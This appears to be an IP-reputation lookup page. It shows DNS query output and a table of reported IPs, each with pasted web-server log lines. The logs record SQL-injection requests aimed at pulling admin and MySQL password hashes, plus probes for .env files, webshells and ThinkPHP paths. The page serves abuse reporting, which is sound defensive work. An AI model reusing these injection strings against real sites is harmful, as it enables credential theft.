City: unknown
Region: unknown
Country: United States of America (the)
Internet Service Provider: unknown
Hostname: unknown
Organization: unknown
Usage Type: unknown
b; <<>> DiG 9.10.3-P4-Ubuntu <<>> 135.30.114.148
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 17882
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0
;; QUESTION SECTION:
;135.30.114.148. IN A
;; AUTHORITY SECTION:
. 30 IN SOA a.root-servers.net. nstld.verisign-grs.com. 2025020900 1800 900 604800 86400
;; Query time: 37 msec
;; SERVER: 183.60.83.19#53(183.60.83.19)
;; WHEN: Mon Feb 10 00:03:29 CST 2025
;; MSG SIZE rcvd: 107Host 148.114.30.135.in-addr.arpa not found: 2(SERVFAIL)
server can't find 135.30.114.148.in-addr.arpa: SERVFAIL| IP | Type | Details | Datetime |
|---|---|---|---|
| 61.160.195.187 | attack | 61.160.195.187 - - [21/Apr/2019:06:24:39 +0800] "GET /plus/recommend.php?action=&aid=1&_FILES%5Btype%5D%5Btmp_name%5D=%5C%27%20or%20mid=@%60%5C%27%60%20/*!50000union*//*!50000select*/1,2, 3,(select%20CONCAT(0x7c,userid,0x7c,pwd)+from+%60%23@__admin%60%20limit+0,1),5,6,7,8,9%23@%60%5C%27%60+&_FILES%5Btype%5D%5Bname%5D=1.jpg&_FILES%5Btype%5D%5Btype%5D=application/octet-strea m&_FILES%5Btype%5D%5Bsize%5D=4294 HTTP/1.1" 404 3409 "-" "-" 61.160.195.187 - - [21/Apr/2019:06:24:39 +0800] "GET /plus/recommend.php?aid=1&_FILES%5Btype%5D%5Bname%5D&_FILES%5Btype%5D%5Bsize%5D&_FILES%5Btype%5D%5Btype%5D&_FILES%5Btype%5D%5Btmp_name %5D=aa%5C'and+char(@%60'%60)+/*!50000Union*/+/*!50000SeLect*/+1,2,3,concat(0x3C6162633E,group_concat(0x7C,Host,0x7C,user,0x3a,password,0x7C),0x3C2F6162633E),5,6,7,8,9%20from%20mysql.%60us er%60%23 HTTP/1.1" 404 538 "-" "-" |
2019-04-21 06:55:34 |
| 58.38.194.30 | bots | isSource urlParam不知道从哪来的疑似爬虫 58.38.194.30 - - [25/Apr/2019:15:22:16 +0800] "GET /index.php/category/root/deep-learning/?isSource=true&category=%E5%85%A8%E9%83%A8&urlParam=%7B%7D HTTP/1.1" 200 19658 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.26 Safari/537.36 Core/1.63.6823.400 QQBrowser/10.3.3117.400" |
2019-04-25 15:24:12 |
| 37.49.224.79 | bots | 37.49.224.79 - - [22/Apr/2019:11:48:41 +0800] "GET /check-ip/61.160.195.187 HTTP/1.1" 200 55632 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Win32)" 37.49.224.79 - - [22/Apr/2019:11:48:41 +0800] "GET /check-ip/203.208.60.97 HTTP/1.1" 200 59805 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Win32)" 37.49.224.79 - - [22/Apr/2019:11:48:42 +0800] "GET /check-ip/113.4.133.2 HTTP/1.1" 200 52944 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Win32)" 37.49.224.79 - - [22/Apr/2019:11:48:43 +0800] "GET /check-ip/113.237.176.72 HTTP/1.1" 200 54495 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Win32)" 37.49.224.79 - - [22/Apr/2019:11:48:44 +0800] "GET /check-ip/142.93.214.167 HTTP/1.1" 200 53059 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Win32)" |
2019-04-22 11:49:17 |
| 220.181.51.109 | bots | 没有百度UA的百度爬虫 220.181.51.109 - - [22/Apr/2019:08:09:25 +0800] "GET / HTTP/1.1" 200 105648 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.93 Safari/537.36" |
2019-04-22 08:10:42 |
| 101.226.79.190 | attack | 101.226.79.190 - - [25/Apr/2019:08:39:19 +0800] "GET /utility/convert/index.php?a%3Dconfig%26source%3Dd7.2_x2.0 HTTP/1.1" 301 194 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 9_3_4 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Mobile/13G35 QQ/6.5.3.410 V1_IPH_SQ_6.5.3_1_APP_A Pixel/750 Core/UIWebView NetType/2G Mem/117" 101.226.79.190 - - [25/Apr/2019:08:39:19 +0800] "GET /utility/convert/index.php?a%3Dconfig%26source%3Dd7.2_x2.0 HTTP/1.1" 404 209 "http://ipinfo.asytech.cn/utility/convert/index.php?a%3Dconfig%26source%3Dd7.2_x2.0" "Mozilla/5.0 (iPhone; CPU iPhone OS 9_3_4 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Mobile/13G35 QQ/6.5.3.410 V1_IPH_SQ_6.5.3_1_APP_A Pixel/750 Core/UIWebView NetType/2G Mem/117" |
2019-04-25 08:39:47 |
| 124.89.119.11 | bots | 124.89.119.11 - - [23/Apr/2019:13:55:45 +0800] "GET /view/img/favicon.ico HTTP/1.1" 404 209 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36" 112.80.137.106 - - [23/Apr/2019:13:55:45 +0800] "GET /home/favicon.ico HTTP/1.1" 404 209 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0" 121.57.228.33 - - [23/Apr/2019:13:55:46 +0800] "GET /view/img/favicon.ico HTTP/1.1" 301 194 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0" 121.57.228.33 - - [23/Apr/2019:13:55:46 +0800] "GET /view/img/favicon.ico HTTP/1.1" 404 209 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0" |
2019-04-23 13:58:05 |
| 52.165.19.185 | botsattack | 52.165.19.185 - - [25/Apr/2019:15:51:17 +0800] "GET /check-ip/121.7.73.86%2B%22@singnet.com.sg%22 HTTP/1.1" 200 8186 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Win32)" 52.165.19.185 - - [25/Apr/2019:15:51:17 +0800] "GET /check-ip/121.7.73.86 HTTP/1.1" 200 57126 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Win32)" |
2019-04-25 15:51:59 |
| 159.138.35.59 | attack | 159.138.35.59 - - [23/Apr/2019:21:23:50 +0800] "GET /.env HTTP/1.1" 404 209 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 159.138.35.59 - - [23/Apr/2019:21:23:52 +0800] "GET /.env HTTP/1.1" 301 194 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 159.138.35.59 - - [23/Apr/2019:21:23:59 +0800] "GET /.env HTTP/1.1" 404 209 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" |
2019-04-23 21:25:16 |
| 123.206.22.203 | attack | 123.206.22.203 - - [19/Apr/2019:14:04:26 +0800] "POST /webslee.php HTTP/1.1" 301 194 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0" 123.206.22.203 - - [19/Apr/2019:14:04:26 +0800] "POST /q.php HTTP/1.1" 301 194 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0" 123.206.22.203 - - [19/Apr/2019:14:04:26 +0800] "POST /pe.php HTTP/1.1" 301 194 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0" 123.206.22.203 - - [19/Apr/2019:14:04:34 +0800] "POST /hm.php HTTP/1.1" 301 194 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0" 123.206.22.203 - - [19/Apr/2019:14:04:42 +0800] "POST /cainiao.php HTTP/1.1" 301 194 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0" 123.206.22.203 - - [19/Apr/2019:14:04:42 +0800] "POST /zuoshou.php HTTP/1.1" 301 194 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0" 123.206.22.203 - - [19/Apr/2019:14:04:46 +0800] "POST /zuo.php HTTP/1.1" 301 194 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0" 123.206.22.203 - - [19/Apr/2019:14:04:47 +0800] "POST /aotu.php HTTP/1.1" 301 194 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0" |
2019-04-19 14:05:13 |
| 61.139.73.169 | attack | 61.139.73.169 - - [24/Apr/2019:15:56:55 +0800] "GET //main.do HTTP/1.1" 404 445 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; .NET CLR 1.1.4322)" 61.139.73.169 - - [24/Apr/2019:15:56:55 +0800] "GET //console/ HTTP/1.1" 404 446 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; .NET CLR 1.1.4322)" 61.139.73.169 - - [24/Apr/2019:15:56:55 +0800] "GET //console/ HTTP/1.1" 404 446 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; .NET CLR 1.1.4322)" 61.139.73.169 - - [24/Apr/2019:15:56:55 +0800] "GET //was5/admin/ HTTP/1.1" 404 449 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; .NET CLR 1.1.4322)" 61.139.73.169 - - [24/Apr/2019:15:56:55 +0800] "GET //was5/admin/ HTTP/1.1" 404 449 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; .NET CLR 1.1.4322)" 61.139.73.169 - - [24/Apr/2019:15:56:55 +0800] "GET //kingdee/login/loginpage.jsp HTTP/1.1" 404 465 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; .NET CLR 1.1.4322)" 61.139.73.169 - - [24/Apr/2019:15:56:55 +0800] "GET //kingdee/login/loginpage.jsp HTTP/1.1" 404 465 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; .NET CLR 1.1.4322)" |
2019-04-24 16:00:25 |
| 120.26.236.178 | attack | 120.26.236.178 - - [24/Apr/2019:19:30:20 +0800] "GET /TP/public/index.php HTTP/1.1" 404 476 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)" 120.26.236.178 - - [24/Apr/2019:19:30:20 +0800] "GET /TP/index.php HTTP/1.1" 404 469 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)" 120.26.236.178 - - [24/Apr/2019:19:30:20 +0800] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 487 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox /3.6)" 120.26.236.178 - - [24/Apr/2019:19:30:20 +0800] "GET /html/public/index.php HTTP/1.1" 404 478 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)" 120.26.236.178 - - [24/Apr/2019:19:30:21 +0800] "GET /public/index.php HTTP/1.1" 404 473 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)" 120.26.236.178 - - [24/Apr/2019:19:30:21 +0800] "GET /TP/html/public/index.php HTTP/1.1" 404 481 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)" 120.26.236.178 - - [24/Apr/2019:19:30:21 +0800] "GET /elrekt.php HTTP/1.1" 404 467 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)" 120.26.236.178 - - [24/Apr/2019:19:30:22 +0800] "GET /index.php HTTP/1.1" 404 466 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)" 120.26.236.178 - - [24/Apr/2019:19:30:22 +0800] "GET / HTTP/1.1" 200 24601 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)" |
2019-04-25 05:29:09 |
| 183.129.198.99 | botsattack | 183.129.198.99 - - [22/Apr/2019:12:20:12 +0800] "\\x16\\x03\\x01\\x00\\x82\\x01\\x00\\x00~\\x03\\x01\\x5C\\xBD@\\xE9\\x90\\xE7\\xEBu\\xDA\\x0B\\xE1\\x9Ed\\xAB\\xEA@K\\x9C\\xC4\\x18n\\x05 \\xD2\\xB4\\xDD\\x87\\xEF\\xAD\\xA3\\x89\\xBF O1&\\xFE\\xF5\\xCEA\\xBB\\x22U\\xBC\\xFF\\xC0\\x05\\xC9\\x8Dr\\x8E\\x99J\\xD6\\x00\\xFB;\\xE7\\x80\\xAB\\xF9\\x10\\xA05\\xFF\\x00\\x1C\\xC0\\x14\\xC0\\x13\\x009\\x003\\x005\\x00/\\xC0" 400 182 "-" "-" 183.129.198.99 - - [22/Apr/2019:12:20:12 +0800] "\\x16\\x03\\x01\\x00b\\x01\\x00\\x00^\\x03\\x01\\x5C\\xBD@\\xE9PJ\\xA5\\xFAl\\x11\\x90\\xD1/`\\xD7\\x98\\xFF(\\x08\\x85\\xF6\\xDF\\xFC\\xF7\\xF3\\xA5\\x19P)\\xA7\\xF1m\\x00\\x00\\x1C\\xC0\\x14\\xC0\\x13\\x009\\x003\\x005\\x00/\\xC0" 400 182 "-" "-" |
2019-04-22 12:20:43 |
| 139.59.23.231 | botsattack | 139.59.23.231 - - [24/Apr/2019:19:27:23 +0800] "GET /w00tw00t.at.blackhats.romanian.anti-sec:) HTTP/1.1" 301 194 "-" "ZmEu" 139.59.23.231 - - [24/Apr/2019:19:27:23 +0800] "GET HTTP/1.1" 400 182 "-" "-" 139.59.23.231 - - [24/Apr/2019:19:27:23 +0800] "GET HTTP/1.1" 400 182 "-" "-" |
2019-04-24 19:28:05 |
| 185.132.133.23 | proxy | 可能是代理检测吧 185.132.133.23 - - [19/Apr/2019:18:21:50 +0800] "CONNECT mobile.chomikuj.pl:80 HTTP/1.1" 400 182 "-" "-" |
2019-04-19 18:22:44 |
| 27.115.124.6 | attack | 莫名其妙put 27.115.124.6 - - [22/Apr/2019:12:13:32 +0800] "PUT /9082addcc2ac2e12.txt HTTP/1.1" 301 194 "-" "Python-urllib/2.7" |
2019-04-22 12:14:22 |